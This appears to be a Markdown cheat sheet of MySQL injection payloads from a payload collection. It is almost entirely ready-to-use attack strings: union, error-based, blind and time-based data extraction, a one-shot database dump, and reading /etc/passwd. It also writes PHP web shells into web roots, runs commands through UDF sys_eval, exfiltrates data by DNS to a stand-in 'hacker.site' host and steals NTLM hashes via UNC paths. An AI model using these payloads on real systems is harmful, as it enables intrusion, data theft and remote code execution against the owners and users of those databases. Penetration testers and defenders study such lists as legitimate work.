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308 lines
11 KiB
Markdown
308 lines
11 KiB
Markdown
# MYSQL Injection
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## Summary
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* [MYSQL Comment](#mysql-comment)
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* [Detect columns number](#detect-columns-number)
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* [MYSQL Union Based](#mysql-union-based)
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* [Extract database with information_schema](#extract-database-with-information-schema)
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* [Extract data without information_schema](#extract-data-without-information-schema)
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* [Extract data without columns name](#extract-data-without-columns-name)
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* [MYSQL Error Based](#mysql-error-based)
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* [MYSQL Error Based - Basic](#mysql-error-based---basic)
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* [MYSQL Error Based - UpdateXML function](#mysql-error-based---updatexml-function)
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* [MYSQL Error Based - Extractvalue function](#mysql-error-based---extractvalue-function)
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* [MYSQL Blind](#mysql-blind)
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* [MYSQL Blind with substring equivalent](#mysql-blind-with-substring-equivalent)
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* [MYSQL Blind using a conditional statement](#mysql-blind-using-a-conditional-statement)
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* [MYSQL Blind with MAKE_SET](#mysql-blind-with-make-set)
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* [MYSQL Blind with LIKE](#mysql-blind-with-like)
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* [MYSQL Time Based](#mysql-time-based)
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* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)
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* [MYSQL Read content of a file](#mysql-read-content-of-a-file)
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* [MYSQL Write a shell](#mysql-write-a-shell)
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* [MYSQL UDF command execution](#mysql-udf-command-execution)
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* [MYSQL Truncation](#mysql-truncation)
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* [MYSQL Out of band](#mysql-out-of-band)
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* [DNS exfiltration](#dns-exfiltration)
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* [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing)
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* [References](#references)
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## MYSQL comment
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```sql
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# MYSQL Comment
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/* MYSQL Comment */
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/*! MYSQL Special SQL */
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/*!32302 10*/ Comment for MYSQL version 3.23.02
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```
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## MYSQL Union Based
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### Extract database with information_schema
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First you need to know the number of columns, you can use `order by`.
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```sql
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order by 1
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order by 2
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order by 3
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...
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order by XXX
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```
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Then the following codes will extract the databases'name, tables'name, columns'name.
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```sql
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
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```
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### Extract columns name without information_schema
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Method for `MySQL >= 4.1`.
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First extract the column number with
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```sql
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?id=(1)and(SELECT * from db.users)=(1)
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-- Operand should contain 4 column(s)
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```
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Then extract the column name.
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```sql
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?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
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--Column 'id' cannot be null
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```
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Method for `MySQL 5`
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```sql
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-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
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--#1060 - Duplicate column name 'id'
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-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
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-- #1060 - Duplicate column name 'name'
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-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
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...
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```
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### Extract data without columns name
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Extracting data from the 4th column without knowing its name.
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```sql
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select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
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```
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Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`
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```sql
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MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
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+-----------+-----------------------------------------------------------------+
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| author_id | title |
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+-----------+-----------------------------------------------------------------+
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| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
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+-----------+-----------------------------------------------------------------+
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```
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## MYSQL Error Based
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### MYSQL Error Based - Basic
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Works with `MySQL >= 4.1`
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```sql
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(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
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'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
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```
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### MYSQL Error Based - UpdateXML function
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```sql
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AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
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AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
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AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
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AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
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AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
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```
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Shorter to read:
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```sql
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' and updatexml(null,concat(0x0a,version()),null)-- -
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' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
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```
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### MYSQL Error Based - Extractvalue function
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Works with `MySQL >= 5.1`
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```sql
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AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
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AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
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AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
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AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
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AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
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```
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## MYSQL Blind
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### MYSQL Blind with substring equivalent
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```sql
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?id=1 and substring(version(),1,1)=5
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?id=1 and right(left(version(),1),1)=5
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?id=1 and left(version(),1)=4
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?id=1 and ascii(lower(substr(Version(),1,1)))=51
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?id=1 and (select mid(version(),1,1)=4)
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```
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### MYSQL Blind using a conditional statement
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TRUE: `if @@version starts with a 5`:
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```sql
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2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
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Response:
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HTTP/1.1 500 Internal Server Error
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```
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False: `if @@version starts with a 4`:
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```sql
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2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
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Response:
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HTTP/1.1 200 OK
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```
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### MYSQL Blind with MAKE_SET
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```sql
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AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
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AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
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AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
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AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
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```
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### MYSQL Blind with LIKE
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['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing
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```sql
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SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
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```
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## MYSQL Time Based
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```sql
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+BENCHMARK(40000000,SHA1(1337))+
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'%2Bbenchmark(3200,SHA1(1))%2B'
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' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
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AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
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RLIKE SLEEP([SLEEPTIME])
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OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
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?id=1 and IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
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?id=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
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```
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## MYSQL DIOS - Dump in One Shot
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```sql
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(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
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(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
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```
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## MYSQL Read content of a file
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Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
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```sql
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' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
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```
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If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
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```sql
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GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
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```
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## MYSQL Write a shell
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```sql
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SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
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SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>
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-1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
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[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
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[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
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```
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## MYSQL Truncation
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In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
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## MYSQL UDF command execution
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First you need to check if the UDF are installed on the server.
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```powershell
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$ whereis lib_mysqludf_sys.so
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/usr/lib/lib_mysqludf_sys.so
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```
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Then you can use functions such as `sys_exec` and `sys_eval`.
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```sql
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$ mysql -u root -p mysql
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Enter password: [...]
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mysql> SELECT sys_eval('id');
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+--------------------------------------------------+
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| sys_eval('id') |
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+--------------------------------------------------+
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| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
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+--------------------------------------------------+
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```
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## MYSQL Out of band
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```powershell
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select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
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select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
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```
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### DNS exfiltration
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```sql
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select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
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select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
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```
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### UNC Path - NTLM hash stealing
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```sql
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select load_file('\\\\error\\abc');
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select load_file(0x5c5c5c5c6572726f725c5c616263);
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select 'osanda' into dumpfile '\\\\error\\abc';
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select 'osanda' into outfile '\\\\error\\abc';
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load data infile '\\\\error\\abc' into table database.table_name;
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```
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## References
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- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
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- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)
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- [Help по MySql инъекциям - rdot.org](https://rdot.org/forum/showpost.php?p=114&postcount=1)
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- [SQL Truncation Attack - Warlock](https://resources.infosecinstitute.com/sql-truncation-attack/)
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- [HackerOne @ajxchapman 50m-ctf writeup - Alex Chapman @ajxchapman](https://hackerone.com/reports/508123)
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- [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased) |